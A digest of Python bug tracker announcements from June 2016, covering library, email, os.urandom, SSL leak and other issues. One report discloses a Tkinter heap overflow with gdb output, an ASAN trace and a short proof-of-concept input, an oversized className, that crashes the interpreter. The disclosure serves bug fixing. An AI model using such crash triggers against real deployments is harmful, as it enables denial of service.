needs copying only keys and ValuesView needs copying only values. Proposed patch implements more efficient deepcopy support for KeysView and ValuesView. ---------- components: Library (Lib) files: MappingView_deepcopy.patch keywords: patch messages: 267706 nosy: gvanrossum, rhettinger, serhiy.storchaka priority: normal severity: normal stage: patch review status: open title: More efficient deepcopying of Mapping type: resource usage versions: Python 3.6 Added file: http://bugs.python.org/file43281/MappingView_deepcopy.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jun 7 14:29:01 2016 From: report at bugs.python.org (Emin Ghuliev) Date: Tue, 07 Jun 2016 18:29:01 +0000 Subject: [New-bugs-announce] [issue27254] heap overflow in Tkinter module Message-ID: <1465324141.01.0.361051063774.issue27254@psf.upfronthosting.co.za> New submission from Emin Ghuliev: /* This is used to get the application class for Tk 4.1 and up */ argv0 = (char*)attemptckalloc(strlen(className) + 1); //<=== classname allocated if (!argv0) { PyErr_NoMemory(); Py_DECREF(v); return NULL; } strcpy(argv0, className); <==== //classname copy to argv0 if (Py_ISUPPER(Py_CHARMASK(argv0[0]))) argv0[0] = Py_TOLOWER(Py_CHARMASK(argv0[0])); Tcl_SetVar(v->interp, "argv0", argv0, TCL_GLOBAL_ONLY); // argv0 passed to v->interp and freed; ckfree(argv0); then v->interp passed to the Tcl_AppInit function if (Tcl_AppInit(v->interp) != TCL_OK) in Tcl_AppInit call to (and passed the v->interp) the Tcl_DStringAppend. allocates the specified byte Tcl_DStringAppend function then heap memory passed to memcpy. Realloc arguments presentation in the native tcl allocator; char * Tcl_Realloc(ptr, size) disassemble: gdb> print /x $rdi $4 = 0x7ffff03c8810 0x7ffff03c8814: 0x41414141 ....... gdb> print /x $rsi $2 = 0x3ffffe 0x00007ffff3a07dfe <+46>: call 0x7ffff3935040 after return to the caller function. Performed memory copy operation. 0x00007ffff3a07e0a <+58>: lea rdi,[rax+rdx*1] < === destination buffer $rax = 0x7fffeffc5810 - $rdx = 0x100000 $rax+$rdx = 0x7ffff00c5810 0x00007ffff3a07e0e <+62>: mov rsi,r12 < === source buffer 0x00007ffff3a07e11 <+65>: movsxd rdx,ebp <=== 0xfffff 0x00007ffff3a07e14 <+68>: call 0x7ffff39155c0 copy to $rdi bytes to $rsi buffer with 0xfffff byte; ASAN report. ================================================================= ==27988==ERROR: AddressSanitizer: heap-use-after-free on address 0x7f4e6ba64810 at pc 0x4665ea bp 0x7fff89a4ab80 sp 0x7fff89a4a340 READ of size 1048575 at 0x7f4e6ba64810 thread T0 ==27988==WARNING: Trying to symbolize code, but external symbolizer is not initialized! #0 0x4665e9 (/home/eminus/Downloads/Python-2.7.11/python+0x4665e9) #1 0x7f4e6f0a3e18 (/usr/lib/x86_64-linux-gnu/libtcl8.6.so+0x116e18) #2 0x7f4e6f38744e (/usr/lib/x86_64-linux-gnu/libtk8.6.so+0x6244e) #3 0x7f4e6f6b6e4c (/home/eminus/Downloads/Python-2.7.11/build/lib.linux-x86_64-2.7/_tkinter.so+0x19e4c) #4 0x7f4e6f6a7fc5 (/home/eminus/Downloads/Python-2.7.11/build/lib.linux-x86_64-2.7/_tkinter.so+0xafc5) #5 0x5e1813 (/home/eminus/Downloads/Python-2.7.11/python+0x5e1813) #6 0x5d319c (/home/eminus/Downloads/Python-2.7.11/python+0x5d319c) #7 0x721353 (/home/eminus/Downloads/Python-2.7.11/python+0x721353) #8 0x4acb2a (/home/eminus/Downloads/Python-2.7.11/python+0x4acb2a) #9 0x4b6c62 (/home/eminus/Downloads/Python-2.7.11/python+0x4b6c62) #10 0x4acb2a (/home/eminus/Downloads/Python-2.7.11/python+0x4acb2a) #11 0x5f0823 (/home/eminus/Downloads/Python-2.7.11/python+0x5f0823) #12 0x4b0a08 (/home/eminus/Downloads/Python-2.7.11/python+0x4b0a08) #13 0x4acb2a (/home/eminus/Downloads/Python-2.7.11/python+0x4acb2a) #14 0x5e2d19 (/home/eminus/Downloads/Python-2.7.11/python+0x5e2d19) #15 0x5d319c (/home/eminus/Downloads/Python-2.7.11/python+0x5d319c) #16 0x5d2041 (/home/eminus/Downloads/Python-2.7.11/python+0x5d2041) #17 0x660980 (/home/eminus/Downloads/Python-2.7.11/python+0x660980) #18 0x65fc8a (/home/eminus/Downloads/Python-2.7.11/python+0x65fc8a) #19 0x48e46c (/home/eminus/Downloads/Python-2.7.11/python+0x48e46c) #20 0x7f4e72389ec4 (/lib/x86_64-linux-gnu/libc.so.6+0x21ec4) #21 0x48c5bc (/home/eminus/Downloads/Python-2.7.11/python+0x48c5bc) 0x7f4e6ba64810 is located 16 bytes inside of 2097166-byte region [0x7f4e6ba64800,0x7f4e6bc6480e) freed by thread T0 here: #0 0x4766d3 (/home/eminus/Downloads/Python-2.7.11/python+0x4766d3) #1 0x7f4e6f09b52d (/usr/lib/x86_64-linux-gnu/libtcl8.6.so+0x10e52d) previously allocated by thread T0 here: #0 0x4764d9 (/home/eminus/Downloads/Python-2.7.11/python+0x4764d9) #1 0x7f4e6f09b0cc (/usr/lib/x86_64-linux-gnu/libtcl8.6.so+0x10e0cc) SUMMARY: AddressSanitizer: heap-use-after-free ??:0 ?? Shadow bytes around the buggy address: 0x0fea4d7448b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0fea4d7448c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0fea4d7448d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0fea4d7448e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0fea4d7448f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0fea4d744900: fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0fea4d744910: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0fea4d744920: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0fea4d744930: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0fea4d744940: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0fea4d744950: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 ASan internal: fe ==27988==ABORTING PoC from Tkinter import * class Application(Frame): def say_hi(self): print ("hi there, everyone!") def createWidgets(self): self.QUIT = Button(self) self.QUIT["text"] = "QUIT" self.QUIT["fg"] = "red" self.QUIT["command"] = self.quit self.QUIT.pack({"side": "left"}) self.hi_there = Button(self) self.hi_there["text"] = "Hello", self.hi_there["command"] = self.say_hi self.hi_there.pack({"side": "left"}) def __init__(self, master=None): Frame.__init__(self, master) self.pack() self.createWidgets() root = Tk(screenName=None, baseName=None, className='A'*0xfffff, useTk=1) app = Application(master=root) app.mainloop() root.destroy() ---------- components: Tkinter messages: 267714 nosy: Emin Ghuliev priority: normal severity: normal status: open title: heap overflow in Tkinter module type: security versions: Python 2.7, Python 3.3, Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jun 7 14:41:44 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 07 Jun 2016 18:41:44 +0000 Subject: [New-bugs-announce] [issue27255] More opcode predictions Message-ID: <1465324904.47.0.783952984943.issue27255@psf.upfronthosting.co.za> New submission from Serhiy Storchaka: Currently the PREDICT() macros is used for predicticting following pair of opcodes in the ceval loop: LIST_APPEND JUMP_ABSOLUTE SET_ADD JUMP_ABSOLUTE MAP_ADD JUMP_ABSOLUTE COMPARE_OP POP_JUMP_IF_FALSE COMPARE_OP POP_JUMP_IF_TRUE GET_ITER FOR_ITER FOR_ITER STORE_FAST (if continue iterating) FOR_ITER UNPACK_SEQUENCE (if continue iterating) WITH_CLEANUP_START WITH_CLEANUP_FINISH WITH_CLEANUP_FINISH END_FINALLY I collected static and dynamic opcode statistics. Static statistics is a statistics about what opcodes are used in code objects after running the compileall script on the Lib directory. Dynamic statistics is is a statistics about what opcodes are executed when run all Python tests. Resulting numbers are close, but there are some reasonable differences (opcodes used in loops have larger numbers in dynamic statistics, and opcodes used for creating classes and functions have larger numbers in static statistics). In following lines the fist number is from dynamic statistics and the second number is from static statistics. LIST_APPEND, SET_ADD and MAP_ADD are always followed by JUMP_ABSOLUTE. COMPARE_OP is followed by POP_JUMP_IF_FALSE in 83% (78%) and by POP_JUMP_IF_TRUE in 13% (5%). GET_ITER is followed by FOR_ITER in 72% (80%) and CALL_FUNCTION in 28% (28%). FOR_ITER is followed by STORE_FAST in 50% (80%), UNPACK_SEQUENCE in 21% (18%) and POP_BLOCK in 20% (0%). WITH_CLEANUP_START is always followed by WITH_CLEANUP_FINISH. WITH_CLEANUP_FINISH is always followed by END_FINALLY According to this statistic existing predictions are correct. But the statistics suggests other predictions. JUMP_ABSOLUTE is followed by FOR_ITER in 77% (0%). UNPACK_SEQUENCE is followed by STORE_FAST in 97% (94%). SETUP_LOOP is followed by LOAD_FAST in 81% (52%) and LOAD_GLOBAL in 18% (31%). BUILD_SLICE is followed by BINARY_SUBSCR in 99% (87%). ROT_TWO is followed by STORE_FAST in 85% (40%). LOAD_CLOSURE is followed by BUILD_TUPLE in 94% (68%). SETUP_WITH is followed by POP_TOP in 94% (54%) and STORE_FAST in 6% (44%). GET_YIELD_FROM_ITER, GET_AITER, GET_ANEXT and GET_AWAITABLE are always followed by LOAD_CONST. DUP_TOP_TWO is always followed by BINARY_SUBSCR. BEFORE_ASYNC_WITH is always followed by GET_AWAITABLE. All INPLACE_ instructions almost always are followed by STORE_FAST. Proposed patch adds predictions of following pairs: DUP_TOP_TWO BINARY_SUBSCR INPLACE_POWER STORE_FAST INPLACE_MULTIPLY STORE_FAST INPLACE_MATRIX_MULTIPLY STORE_FAST INPLACE_TRUE_DIVIDE STORE_FAST INPLACE_FLOOR_DIVIDE STORE_FAST INPLACE_MODULO STORE_FAST INPLACE_ADD STORE_FAST INPLACE_SUBTRACT STORE_FAST INPLACE_LSHIFT STORE_FAST INPLACE_RSHIFT STORE_FAST INPLACE_AND STORE_FAST INPLACE_XOR STORE_FAST INPLACE_OR STORE_FAST GET_AITER LOAD_CONST GET_ANEXT LOAD_CONST GET_AWAITABLE LOAD_CONST UNPACK_SEQUENCE STORE_FAST LOAD_CLOSURE BUILD_TUPLE GET_ITER CALL_FUNCTION GET_YIELD_FROM_ITER LOAD_CONST FOR_ITER POP_BLOCK BEFORE_ASYNC_WITH GET_AWAITABLE SETUP_WITH POP_TOP SETUP_WITH STORE_FAST BUILD_SLICE BINARY_SUBSCR Note that the effect of this change is not very significant since the PREDICT() macros is no-op if computed GOTOs are used. ---------- components: Interpreter Core files: more_opcode_predicts.patch keywords: patch messages: 267719 nosy: serhiy.storchaka priority: normal severity: normal stage: patch review status: open title: More opcode predictions type: enhancement versions: Python 3.6 Added file: http://bugs.python.org/file43283/more_opcode_predicts.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jun 7 15:14:46 2016 From: report at bugs.python.org (Hans-Peter Jansen) Date: Tue, 07 Jun 2016 19:14:46 +0000 Subject: [New-bugs-announce] [issue27256] header indentation destroyed Message-ID: <1465326886.85.0.738328133832.issue27256@psf.upfronthosting.co.za> New submission from Hans-Peter Jansen: In the course of replacing an old Python 2.7 email filter tool with a rewritten Python3 version, I stumbled across a ugly case, where such an header: X-Microsoft-Exchange-Diagnostics: =?utf-8?B?MTtCTDJQUjAyTUI1MTQ7MjM6bEtRRlNaUHQvVTk5WCttdktlOUVrUGQvVFBH?= =?utf-8?B?cDFJemVUeXFzOGNzYnZOYWlwMDZpR0YzbXZyY09WaTBKM2pkeUl4S1VDMkxw?= =?utf-8?B?eVRkNWthRW9waUhJTzczTWd5WDZOQ3hMNU1haGFvQTVzVTdRZmxJUnZlblpW?= ... is regenerated as: X-Microsoft-Exchange-Diagnostics: 1;BL2PR02MB514;23:lKQFSZPt/U99X+mvKe9EkPd/TPG p1IzeTyqs8csbvNaip06iGF3mvrcOVi0J3jdyIxKUC2Lp yTd5kaEopiHIO73MgyX6NCxL5MahaoA5sU7QflIRvenZV which is plain wrong of course. I'm using email.message_from_binary_file for parsing and BytesGenerator.flatten for regeneration. Since those are LKML public mails, I'm attaching both versions. I'm using 3.4.4, but also the email module from current hg for testing. ---------- components: email files: utf8-header-failure.mail messages: 267732 nosy: barry, frispete, r.david.murray priority: normal severity: normal status: open title: header indentation destroyed versions: Python 3.4, Python 3.5, Python 3.6 Added file: http://bugs.python.org/file43285/utf8-header-failure.mail _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jun 7 15:24:53 2016 From: report at bugs.python.org (Hans-Peter Jansen) Date: Tue, 07 Jun 2016 19:24:53 +0000 Subject: [New-bugs-announce] [issue27257] get_addresses results in traceback with a valid? header Message-ID: <1465327493.81.0.354921385455.issue27257@psf.upfronthosting.co.za> New submission from Hans-Peter Jansen: In the course of replacing an old Python 2.7 email filter tool with a rewritten Python3 version, I stumbled across a ugly case, where such an header: To: unlisted-recipients: ;, ""@pop.kundenserver.de (no To-header on input) results in a Traceback (most recent call last): File "./mail_filter.py", line 606, in ret = main.run() File "./mail_filter.py", line 595, in run self.process(fp) File "./mail_filter.py", line 520, in process config.recipients = self.get_addresses('to', msg) File "./mail_filter.py", line 103, in get_addresses vals = msg.get_all(field, []) File "/usr/lib64/python3.4/email/message.py", line 511, in get_all values.append(self.policy.header_fetch_parse(k, v)) File "/usr/lib64/python3.4/email/policy.py", line 145, in header_fetch_parse return self.header_factory(name, ''.join(value.splitlines())) File "/usr/lib64/python3.4/email/headerregistry.py", line 584, in __call__ return self[name](name, value) File "/usr/lib64/python3.4/email/headerregistry.py", line 195, in __new__ cls.parse(value, kwds) File "/usr/lib64/python3.4/email/headerregistry.py", line 342, in parse for mb in addr.all_mailboxes])) File "/usr/lib64/python3.4/email/headerregistry.py", line 342, in for mb in addr.all_mailboxes])) File "/usr/lib64/python3.4/email/_header_value_parser.py", line 837, in local_part return self[0].local_part File "/usr/lib64/python3.4/email/_header_value_parser.py", line 889, in local_part return self[0].local_part File "/usr/lib64/python3.4/email/_header_value_parser.py", line 984, in local_part tok[0].token_type == 'cfws'): IndexError: list index out of range I'm not completely sure, if the Top header, as added from my email provider, is perfectly valid, but none of the other parts of my mail infrastructure neither complained, nor behave strange with such headers. This happens with 3.4.4, but also with the email module from current hg for testing. ---------- components: email files: lkml-exception.mail messages: 267733 nosy: barry, frispete, r.david.murray priority: normal severity: normal status: open title: get_addresses results in traceback with a valid? header versions: Python 3.4, Python 3.5, Python 3.6 Added file: http://bugs.python.org/file43287/lkml-exception.mail _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jun 7 15:55:04 2016 From: report at bugs.python.org (Mark Summerfield) Date: Tue, 07 Jun 2016 19:55:04 +0000 Subject: [New-bugs-announce] [issue27259] Possible missing deprecation warnings? Message-ID: <1465329304.45.0.636759597708.issue27259@psf.upfronthosting.co.za> New submission from Mark Summerfield: In the docs for the array module: https://docs.python.org/dev/library/array.html#module-array Note 1 in the table of type codes says that the 'u' type is deprecated and will go in Python 4.0. Since the array.fromunicode() and array.tounicode() methods depend on type code 'u' shouldn't they also be marked as deprecated? If people use the 'u' type code maybe it would be helpful to provide an example of how to store unicode chars in an array.array? (Presumably they'd use type code 'L' and use ord() and chr()?) ---------- assignee: docs at python components: Documentation messages: 267738 nosy: docs at python, mark priority: normal severity: normal status: open title: Possible missing deprecation warnings? type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jun 7 15:52:43 2016 From: report at bugs.python.org (Hans-Peter Jansen) Date: Tue, 07 Jun 2016 19:52:43 +0000 Subject: [New-bugs-announce] [issue27258] Exception in BytesGenerator.flatten Message-ID: <1465329163.65.0.664069941673.issue27258@psf.upfronthosting.co.za> New submission from Hans-Peter Jansen: Attached mail, parsed with email.message_from_binary_file results in: Traceback (most recent call last): File "./mail_filter.py", line 616, in ret = main.run() File "./mail_filter.py", line 605, in run self.process(fp) File "./mail_filter.py", line 589, in process self.save_message(msg, self._fname + '.out') File "./mail_filter.py", line 103, in save_message ofd.write(msg.as_bytes()) File "/usr/lib64/python3.4/email/message.py", line 179, in as_bytes g.flatten(self, unixfrom=unixfrom) File "/usr/lib64/python3.4/email/generator.py", line 115, in flatten self._write(msg) File "/usr/lib64/python3.4/email/generator.py", line 195, in _write self._write_headers(msg) File "/usr/lib64/python3.4/email/generator.py", line 422, in _write_headers self._fp.write(self.policy.fold_binary(h, v)) File "/usr/lib64/python3.4/email/policy.py", line 190, in fold_binary folded = self._fold(name, value, refold_binary=self.cte_type=='7bit') File "/usr/lib64/python3.4/email/policy.py", line 204, in _fold return self.header_factory(name, ''.join(lines)).fold(policy=self) File "/usr/lib64/python3.4/email/headerregistry.py", line 255, in fold return header.fold(policy=policy) File "/usr/lib64/python3.4/email/_header_value_parser.py", line 300, in fold self._fold(folded) File "/usr/lib64/python3.4/email/_header_value_parser.py", line 1228, in _fold rest._fold(folded) File "/usr/lib64/python3.4/email/_header_value_parser.py", line 338, in _fold if folded.append_if_fits(part, tstr): File "/usr/lib64/python3.4/email/_header_value_parser.py", line 149, in append_if_fits token._fold(self) File "/usr/lib64/python3.4/email/_header_value_parser.py", line 324, in _fold for part in self.parts: File "/usr/lib64/python3.4/email/_header_value_parser.py", line 254, in parts if token.startswith_fws(): File "/usr/lib64/python3.4/email/_header_value_parser.py", line 267, in startswith_fws return self[0].startswith_fws() File "/usr/lib64/python3.4/email/_header_value_parser.py", line 267, in startswith_fws return self[0].startswith_fws() File "/usr/lib64/python3.4/email/_header_value_parser.py", line 267, in startswith_fws return self[0].startswith_fws() File "/usr/lib64/python3.4/email/_header_value_parser.py", line 267, in startswith_fws return self[0].startswith_fws() File "/usr/lib64/python3.4/email/_header_value_parser.py", line 267, in startswith_fws return self[0].startswith_fws() IndexError: list index out of range when flattened with BytesGenerator. ---------- components: email files: flatten-exception.mail messages: 267736 nosy: barry, frispete, r.david.murray priority: normal severity: normal status: open title: Exception in BytesGenerator.flatten versions: Python 3.4, Python 3.5, Python 3.6 Added file: http://bugs.python.org/file43288/flatten-exception.mail _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jun 7 16:48:03 2016 From: report at bugs.python.org (Jelle Zijlstra) Date: Tue, 07 Jun 2016 20:48:03 +0000 Subject: [New-bugs-announce] [issue27260] Missing equality check for super objects Message-ID: <1465332483.31.0.223891907563.issue27260@psf.upfronthosting.co.za> New submission from Jelle Zijlstra: >>> class Foo: pass ... >>> super(Foo) == super(Foo) False Will submit a patch later ---------- assignee: Jelle Zijlstra components: Library (Lib) messages: 267747 nosy: Jelle Zijlstra priority: normal severity: normal status: open title: Missing equality check for super objects versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jun 7 16:52:57 2016 From: report at bugs.python.org (Justus Winter) Date: Tue, 07 Jun 2016 20:52:57 +0000 Subject: [New-bugs-announce] [issue27261] io.BytesIO.truncate does not work as advertised Message-ID: <1465332777.38.0.718878645897.issue27261@psf.upfronthosting.co.za> New submission from Justus Winter: % python3.6 -c "import io; b=io.BytesIO(); assert b.truncate(42) == 42; assert len(b.getbuffer()) == 42, 'expected length 42, got {}'.format(len(b.getbuffer()))" Traceback (most recent call last): File "", line 1, in AssertionError: expected length 42, got 0 The documentation [0] says that truncate can extend objects, and there is no indication that BytesIO does not support that. As demonstrated, truncate returns the new size, but the buffer obtained from that BytesIO is of size zero (likewise, b.getvalue() returns b''. 0: https://docs.python.org/3.6/library/io.html#io.IOBase.truncate ---------- components: IO, Library (Lib) messages: 267748 nosy: justus.winter priority: normal severity: normal status: open title: io.BytesIO.truncate does not work as advertised type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jun 7 22:21:23 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 08 Jun 2016 02:21:23 +0000 Subject: [New-bugs-announce] [issue27262] IDLE: move Aqua context menu code to maxosx Message-ID: <1465352483.17.0.330062690814.issue27262@psf.upfronthosting.co.za> New submission from Terry J. Reedy: Put the AquaTk code added to pyshell.main in #24801 where it should have gone originally. (My fault, ultimately.) See aqua_context.diff. This is a step in factoring main (currently about 170 lines) into a manageable number of function calls. I will try to add a test that 1. creates an editor window with a 'fixed' root and mocked .right_click_event method, generates a right click, and checks the mock event handler; 2. creates a context menu, etc. Serhiy, the docstring for .class_bind says "Bind to widgets with bindtag CLASSNAME". I have not and do not see 'bindtag' defined. Am I correct that it must refer to a tk widget class, rather than a python tkinter class, or subclass thereof? ---------- assignee: terry.reedy files: aqua_context.diff keywords: patch messages: 267760 nosy: serhiy.storchaka, terry.reedy priority: normal severity: normal stage: test needed status: open title: IDLE: move Aqua context menu code to maxosx type: enhancement versions: Python 3.6 Added file: http://bugs.python.org/file43290/aqua_context.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jun 7 22:24:47 2016 From: report at bugs.python.org (Jarrod Petz) Date: Wed, 08 Jun 2016 02:24:47 +0000 Subject: [New-bugs-announce] [issue27263] IDLE sets the HOME environment variable breaking scripts Message-ID: <1465352687.77.0.957460905896.issue27263@psf.upfronthosting.co.za> New submission from Jarrod Petz: It seems IDEL is setting the environment variable 'HOME' on windows. Specifically I am on windows 8.1 This is extremly annoying and bad as according the code and doco, os.path.expanduser will preference this variable above others such as USERPROFILE. https://docs.python.org/3/library/os.path.html#os.path.expanduser This is causing scripts/libraries and in my case the AWS SDK boto3/botocore modules to break. As they are looking for config files in the users home location using os.path resolution order which should be %USERPROFILE% in my case as I don't have HOME set. But because idle is setting HOME to what looks to be my HOMEPATH and HOMEDRIVE this is making the AWS SDK unable to pickup the credential files required. path = "~/.aws/credentials" print(os.path.expanduser(path)) Should be C:\Users\myUserName/.aws/credentials But is instead H:\/.aws/credentials Please stop IDLE from setting this environment variable. Running the same scripts with python.exe or pythonw.exe works fine. ---------- components: IDLE messages: 267761 nosy: Jarrod Petz priority: normal severity: normal status: open title: IDLE sets the HOME environment variable breaking scripts type: behavior versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jun 8 01:25:57 2016 From: report at bugs.python.org (David Perra) Date: Wed, 08 Jun 2016 05:25:57 +0000 Subject: [New-bugs-announce] [issue27264] python 3.4 vs. 3.5 strftime same locale different output on Windows Message-ID: <1465363557.77.0.0608625622508.issue27264@psf.upfronthosting.co.za> New submission from David Perra: The execution of these commands in python 3.4.x (Windows 10 Home) import locale from datetime import datetime locale.setlocale(locale.LC_ALL, 'Spanish') datetime.strftime(datetime.now(), '%a %d %b %Y') renders the output 'Spanish_Spain.1252' 'mar 07 jun 2016' but with Python 3.5.x the output is 'Spanish_Spain.1252' 'ma. 07 jun. 2016' ---------- components: Library (Lib), Windows messages: 267786 nosy: David Perra, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: python 3.4 vs. 3.5 strftime same locale different output on Windows type: behavior versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jun 8 04:04:21 2016 From: report at bugs.python.org (=?utf-8?q?Rados=C5=82aw_Szalski?=) Date: Wed, 08 Jun 2016 08:04:21 +0000 Subject: [New-bugs-announce] [issue27265] Hash of different, specific Decimals created from str is the same Message-ID: <1465373061.21.0.960848543198.issue27265@psf.upfronthosting.co.za> New submission from Rados?aw Szalski: Python 2.7.11 (default, May 9 2016, 19:53:39) [GCC 4.2.1 Compatible Apple LLVM 7.3.0 (clang-703.0.31)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> from decimal import Decimal >>> hash(Decimal('0.05')) == hash(Decimal('0.005')) True >>> hash(Decimal(0.05)) == hash(Decimal(0.005)) False Interactive example: https://repl.it/CZUJ/6 Those values are numerically different and IMO should not have equal hashes. I am aware of the quirk with hash(-1) == hash(-2) which is at play here. This only applies to Decimals created from strings as they are hashed differently than float-based ones. What happens? The following equation is True: >>> hash(Decimal('0.005')) == hash(Decimal('0.05')) What I expected to happen? The following equation to be False: >>> hash(Decimal('0.005')) == hash(Decimal('0.05')) Platform: MacBook Pro Retina, 13", early 2015, OSX 10.11.5 Tested on Python Versions: 2.7.3, 2.7.10, 2.7.11 (installed via pyenv), all exhibit the same behavior Relevant (not duplicate) issues I've found: http://bugs.python.org/issue10356 - decimal.py: hash of -1 http://bugs.python.org/issue8188 - Unified hash for numeric types. --- Transcript of the interactive example: https://repl.it/CZUJ/6: from decimal import Decimal # These two different decimals have equal hashes print(hash(Decimal('0.005')) == hash(Decimal('0.05'))) # Internally, Decimal's hash is computed like this (sign, exp + len(int), int) print(hash((0, -2+len('5'), '5')) == hash((0, -3+len('5'), '5'))) # Removing constants, this becomes print(hash(-2+len('5')) == hash(-3+len('5'))) # Which can be further simplified to: print(hash(-1) == hash(-2)) # They both return -2, because at the CPython level, -1 is reserved for errors # Whereas: print(hash(Decimal(0.005)) == hash(Decimal(0.05))) # And this is because Decimals created from floats are hashed as floats ---------- components: Library (Lib) messages: 267802 nosy: Rados?aw Szalski, mark.dickinson priority: normal severity: normal status: open title: Hash of different, specific Decimals created from str is the same type: behavior versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jun 8 05:19:03 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 08 Jun 2016 09:19:03 +0000 Subject: [New-bugs-announce] [issue27266] Add block keyword-only optional parameter to os.urandom() Message-ID: <1465377543.28.0.588369041234.issue27266@psf.upfronthosting.co.za> New submission from STINNER Victor: Follow-up of the issue #26839: I propose to add a "block" keyword-only optional parameter to os.urandom(). I chose to make the parameter a keyword-only to avoid suprises and backward incompatible change and because I want to make this change in Python 3.5.2. The attached patch: * add block parameter to os.urandom() * modify random.Random constructor to call os.urandom() with block=False * modify _PyOS_URandom() to add a block parameter * modify dev_urandom_noraise() to not block The block parameter currently only changes the behaviour on Linux when the getrandom() syscall is used and the urandom entropy pool is not initialized. With the change, os.urandom() blocks by default, but Python startup and "import random" doesn't block even if the urandom entropy pool is not initialized yet. ---------- files: urandom_block.patch keywords: patch messages: 267814 nosy: haypo priority: normal severity: normal status: open title: Add block keyword-only optional parameter to os.urandom() versions: Python 3.5, Python 3.6 Added file: http://bugs.python.org/file43304/urandom_block.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jun 8 05:40:22 2016 From: report at bugs.python.org (Ralph Haist) Date: Wed, 08 Jun 2016 09:40:22 +0000 Subject: [New-bugs-announce] [issue27267] memory leak in _ssl.c, function load_cert_chain Message-ID: <1465378822.97.0.0135826659877.issue27267@psf.upfronthosting.co.za> New submission from Ralph Haist: Test program: $ cat sslTest.py import ssl ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23) ctx.load_cert_chain("mycert.pem") $ valgrind reports a memory leak if this test program is executed by python2.7 as follows: ==7266== 24 bytes in 1 blocks are definitely lost in loss record 564 of 2,578 ==7266== at 0x4C2815D: malloc (vg_replace_malloc.c:299) ==7266== by 0x4BCDAA: convertsimple (getargs.c:1160) ==7266== by 0x4BCDAA: convertitem (getargs.c:514) ==7266== by 0x4BD841: vgetargskeywords (getargs.c:1618) ==7266== by 0x4BE47B: _PyArg_ParseTupleAndKeywords_SizeT (getargs.c:1464) ==7266== by 0x6DCFADC: load_cert_chain (_ssl.c:2536) ==7266== by 0x4AA75D: call_function (ceval.c:4350) ==7266== by 0x4AA75D: PyEval_EvalFrameEx (ceval.c:2987) ==7266== by 0x4AE209: PyEval_EvalCodeEx (ceval.c:3582) ==7266== by 0x4AE641: PyEval_EvalCode (ceval.c:669) ==7266== by 0x4CC9AD: run_mod (pythonrun.c:1370) ==7266== by 0x4CDAC1: PyRun_FileExFlags (pythonrun.c:1356) ==7266== by 0x4CE4C9: PyRun_SimpleFileExFlags (pythonrun.c:948) ==7266== by 0x4155FF: Py_Main (main.c:654) After applying this patch to _ssl.c, the memory leak disappears: $ diff -rc _ssl.c.org _ssl.c *** _ssl.c.org 2016-05-18 14:18:39.093418625 +0200 --- _ssl.c 2016-05-18 14:41:50.215460826 +0200 *************** *** 2611,2616 **** --- 2611,2617 ---- SSL_CTX_set_default_passwd_cb(self->ctx, orig_passwd_cb); SSL_CTX_set_default_passwd_cb_userdata(self->ctx, orig_passwd_userdata); PyMem_Free(pw_info.password); + PyMem_Free(certfile_bytes); Py_RETURN_NONE; error: ---------- components: Extension Modules messages: 267820 nosy: rhaist priority: normal severity: normal status: open title: memory leak in _ssl.c, function load_cert_chain type: resource usage versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jun 8 10:34:24 2016 From: report at bugs.python.org (=?utf-8?q?Adam_Barto=C5=A1?=) Date: Wed, 08 Jun 2016 14:34:24 +0000 Subject: [New-bugs-announce] [issue27268] Incorrect error message on float('') Message-ID: <1465396464.66.0.148764915141.issue27268@psf.upfronthosting.co.za> New submission from Adam Barto?: >>> float('foo') ValueError: could not convert string to float: 'foo' >>> float('') ValueError: could not convert string to float: should be ValueError: could not convert string to float: '' The message comes from Objects/floatobject.c:183 but I don't understand how the empty string gets discarded. ---------- components: Interpreter Core messages: 267858 nosy: Drekin priority: normal severity: normal status: open title: Incorrect error message on float('') type: behavior versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jun 8 10:55:23 2016 From: report at bugs.python.org (ThiefMaster) Date: Wed, 08 Jun 2016 14:55:23 +0000 Subject: [New-bugs-announce] [issue27269] ipaddress: Wrong behavior with 